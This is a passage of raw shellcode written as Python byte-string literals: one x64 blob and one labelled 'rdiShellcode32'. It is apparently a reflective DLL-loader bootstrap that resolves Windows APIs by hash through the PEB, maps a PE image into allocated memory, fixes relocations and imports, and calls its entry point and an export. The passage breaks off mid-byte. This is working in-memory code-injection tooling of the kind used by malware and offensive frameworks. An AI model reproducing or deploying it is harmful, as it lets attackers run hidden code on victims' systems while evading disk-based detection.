b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x68\xA9\x48\x81\xEC\x90\x00\x00\x00\x48\x8B\xF1\xB9\x4C\x77\x26\x07\xE8\xA3\x06\x00\x00\xB9\x49\xF7\x02\x78\x48\x89\x45\xB7\x4C\x8B\xE0\xE8\x92\x06\x00\x00\xB9\x58\xA4\x53\xE5\x48\x89\x45\xBF\x4C\x8B\xE8\xE8\x81\x06\x00\x00\xB9\x10\xE1\x8A\xC3\x4C\x8B\xF8\xE8\x74\x06\x00\x00\xB9\xAF\xB1\x5C\x94\x48\x89\x45\xD7\x48\x8B\xF8\xE8\x63\x06\x00\x00\xB9\x33\x00\x9E\x95\x48\x89\x45\xDF\x48\x8B\xD8\xE8\x52\x06\x00\x00\xB9\x44\xF0\x35\xE0\x4C\x8B\xF0\xE8\x45\x06\x00\x00\x45\x33\xD2\x48\x89\x45\xC7\x4D\x85\xE4\x0F\x84\x16\x06\x00\x00\x4D\x85\xED\x0F\x84\x0D\x06\x00\x00\x4D\x85\xFF\x0F\x84\x04\x06\x00\x00\x48\x85\xFF\x0F\x84\xFB\x05\x00\x00\x48\x85\xDB\x0F\x84\xF2\x05\x00\x00\x4D\x85\xF6\x0F\x84\xE9\x05\x00\x00\x48\x85\xC0\x0F\x84\xE0\x05\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xCD\x05\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xBE\x05\x00\x00\x44\x8B\x47\x38\x45\x8D\x5A\x01\x45\x84\xC3\x0F\x85\xAD\x05\x00\x00\x0F\xB7\x47\x06\x41\x8B\xDA\x0F\xB7\x4F\x14\x85\xC0\x74\x28\x48\x83\xC1\x24\x44\x8B\xC8\x48\x03\xCF\x8B\x51\x04\x85\xD2\x75\x07\x8B\x11\x41\x03\xD0\xEB\x02\x03\x11\x3B\xD3\x0F\x47\xDA\x48\x83\xC1\x28\x4D\x2B\xCB\x75\xE2\x48\x8D\x4D\xE7\x41\xFF\xD6\x8B\x55\xEB\x44\x8D\x72\xFF\x44\x03\x77\x50\x8D\x42\xFF\xF7\xD0\x48\x8D\x4A\xFF\x44\x23\xF0\x8B\xC3\x48\x03\xC8\x48\x8D\x42\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x40\x05\x00\x00\x48\x8B\x4F\x30\x41\xB9\x04\x00\x00\x00\x41\xB8\x00\x30\x00\x00\x41\x8B\xD6\x41\xFF\xD7\x48\x8B\xD8\x48\x85\xC0\x75\x15\x44\x8D\x48\x04\x41\xB8\x00\x30\x00\x00\x41\x8B\xD6\x33\xC9\x41\xFF\xD7\x48\x8B\xD8\x44\x8B\x5D\x7F\x41\xBE\x01\x00\x00\x00\x45\x84\xDE\x0F\x84\xB1\x00\x00\x00\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD6\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x45\x33\xFF\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\xCF\x0F\xB7\x47\x14\x66\x44\x3B\x7F\x06\x73\x3E\x4C\x8D\x47\x28\x4C\x03\xC0\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCE\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD6\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xD3\x4C\x2B\x57\x30\x0F\x84\xDE\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xD1\x00\x00\x00\x44\x8B\x87\xB0\x00\x00\x00\x4C\x03\xC3\x45\x39\x38\x0F\x84\xBE\x00\x00\x00\x41\xBC\x02\x00\x00\x00\x4D\x8D\x48\x08\xE9\x93\x00\x00\x00\x45\x33\xFF\x41\x8B\xD7\x44\x39\x7F\x54\x0F\x86\x5D\xFF\xFF\xFF\x8B\xCA\x41\x03\xD6\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xE9\x48\xFF\xFF\xFF\x41\x0F\xB7\x01\x0F\xB7\xC8\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x11\x41\x8B\x08\x25\xFF\x0F\x00\x00\x48\x03\xC3\x4C\x01\x14\x01\xEB\x49\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC2\xEB\x2E\x66\x41\x3B\xCE\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC2\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xCC\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC2\x41\x8B\x10\x48\x01\x04\x0A\x4D\x03\xCC\x41\x8B\x40\x04\x49\x03\xC0\x4C\x3B\xC8\x75\x86\x4D\x8B\xC1\x45\x39\x39\x0F\x85\x4C\xFF\xFF\xFF\x4C\x8B\x65\xB7\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x45\x01\x00\x00\x44\x8B\x87\x90\x00\x00\x00\x45\x8B\xEF\x4C\x03\xC3\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEE\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B\xC3\x83\xE0\x04\x89\x45\xB3\x0F\x84\x82\x00\x00\x00\x45\x3B\xEE\x76\x7D\x41\xC1\xEB\x10\x45\x8D\x4D\xFF\x44\x89\x5D\x7F\x45\x8B\xDF\x45\x85\xC9\x74\x6F\x4D\x8B\xD0\x41\x0F\x10\x02\x33\xD2\x41\x8B\xCD\x41\x2B\xCB\x69\xF6\xFD\x43\x03\x00\xB8\xFF\x7F\x00\x00\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x41\x8D\x0C\x06\x8B\xC6\xC1\xE8\x10\x25\xFF\x7F\x00\x00\xF7\xF1\x41\x03\xC3\x45\x03\xDE\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x42\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x0A\x41\x89\x52\x10\x4D\x8D\x52\x14\x45\x3B\xD9\x72\x9C\xEB\x06\x8B\x45\xB3\x89\x45\x7F\x8B\xB7\x90\x00\x00\x00\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x74\x7B\x8B\x7D\x7F\x8B\xC8\x48\x03\xCB\x41\xFF\xD4\x44\x8B\x3E\x4C\x8B\xE0\x44\x8B\x76\x10\x4C\x03\xFB\x4C\x03\xF3\x49\x8B\x0F\x48\x85\xC9\x74\x2D\x48\x8B\x7D\xBF\x79\x05\x0F\xB7\xD1\xEB\x07\x48\x8D\x51\x02\x48\x03\xD3\x49\x8B\xCC\xFF\xD7\x49\x83\xC7\x08\x49\x89\x06\x49\x83\xC6\x08\x49\x8B\x0F\x48\x85\xC9\x75\xDA\x8B\x7D\x7F\x45\x33\xFF\x44\x39\x7D\xB3\x74\x0F\x41\x83\xFD\x01\x76\x09\x69\xCF\xE8\x03\x00\x00\xFF\x55\xC7\x8B\x46\x20\x48\x83\xC6\x14\x4C\x8B\x65\xB7\x85\xC0\x75\x8C\x48\x8B\x7D\xCF\x4C\x8B\x6D\xBF\x44\x39\xBF\xF4\x00\x00\x00\x74\x68\x44\x8B\xB7\xF0\x00\x00\x00\x49\x83\xC6\x04\x4C\x03\xF3\xEB\x53\x41\x8B\x0E\x48\x03\xCB\x41\xFF\xD4\x41\x8B\x76\x08\x4C\x8B\xE0\x45\x8B\x7E\x0C\x48\x03\xF3\x4C\x03\xFB\xEB\x25\x49\x8B\x0F\x48\x85\xC9\x79\x05\x0F\xB7\xD1\xEB\x07\x48\x8D\x51\x02\x48\x03\xD3\x49\x8B\xCC\x41\xFF\xD5\x48\x89\x06\x48\x83\xC6\x08\x49\x83\xC7\x08\x33\xC0\x48\x39\x06\x75\xD4\x4C\x8B\x65\xB7\x49\x83\xC6\x20\x45\x33\xFF\x45\x39\x3E\x75\xA8\x45\x8B\xF7\x0F\xB7\x47\x14\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\xCF\x00\x00\x00\x4C\x8B\x7D\xD7\x48\x8D\x77\x3C\x48\x03\xF0\x45\x33\xC9\x44\x39\x4E\xEC\x0F\x84\xA0\x00\x00\x00\x8B\x0E\x8B\xD1\xC1\xEA\x1E\x8B\xC1\x41\x23\xD4\xC1\xE8\x1D\xC1\xE9\x1F\x41\x23\xC4\x75\x24\x85\xD2\x75\x0E\xF7\xD9\x45\x1B\xC0\x41\x83\xE0\x07\x45\x03\xC4\xEB\x4F\xF7\xD9\xB8\x02\x00\x00\x00\x45\x1B\xC0\x44\x23\xC0\x44\x03\xC0\xEB\x3D\x85\xD2\x75\x20\x85\xC9\x75\x06\x44\x8D\x42\x10\xEB\x2F\x85\xD2\x75\x12\x85\xC9\x74\x08\x41\xB8\x80\x00\x00\x00\xEB\x1F\x44\x8B\x45\xAF\xEB\x1D\x85\xC9\x75\x06\x44\x8D\x41\x20\xEB\x0F\x44\x8B\x45\xAF\x85\xC9\xB8\x40\x00\x00\x00\x44\x0F\x45\xC0\x44\x89\x45\xAF\xF7\x06\x00\x00\x00\x04\x74\x09\x41\x0F\xBA\xE8\x09\x44\x89\x45\xAF\x8B\x4E\xE8\x4C\x8D\x4D\xAF\x8B\x56\xEC\x48\x03\xCB\x41\xFF\xD7\x45\x33\xC9\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\x42\xFF\xFF\xFF\x45\x33\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\xDF\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\x75\x67\x85\xF6\x0F\x84\x96\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x89\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x77\x44\x39\x79\x14\x74\x71\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5C\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x51\xEB\x10\x0F\xBE\xC0\x41\x03\xC2\x44\x8B\xD0\x41\xC1\xCA\x0D\x4D\x03\xC4\x41\x8A\x00\x84\xC0\x75\xE9\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x16\xB8\x02\x00\x00\x00\x41\x03\xFC\x48\x03\xD0\x49\x83\xC1\x04\x41\x3B\xFB\x73\x1A\xEB\xBC\x8B\x49\x1C\x0F\xB7\x12\x48\x03\xCB\x8B\x04\x91\x8B\x55\x77\x48\x03\xC3\x48\x8B\x4D\x6F\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xD0\x00\x00\x00\x48\x81\xC4\x90\x00\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\xCC\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xF1\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB4\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x33\xD2\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x42\x8B\x9C\x00\x88\x00\x00\x00\x85\xDB\x74\xD4\x48\x8B\x04\x24\x48\xC1\xE8\x10\x44\x0F\xB7\xD0\x45\x85\xD2\x74\x21\x48\x8B\x4C\x24\x08\x45\x8B\xDA\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEB\x01\x75\xE7\x4D\x8D\x14\x18\x33\xC9\x41\x8B\x7A\x20\x49\x03\xF8\x41\x39\x4A\x18\x76\x8F\x8B\x1F\x45\x33\xDB\x49\x03\xD8\x48\x8D\x7F\x04\x0F\xBE\x03\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD8\x80\x7B\xFF\x00\x75\xED\x41\x8D\x04\x13\x3B\xC6\x74\x0D\xFF\xC1\x41\x3B\x4A\x18\x72\xD1\xE9\x5B\xFF\xFF\xFF\x41\x8B\x42\x24\x03\xC9\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x74\x24\x28\x48\x83\xC4\x10\x5F\xC3' + rdiShellcode32 = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x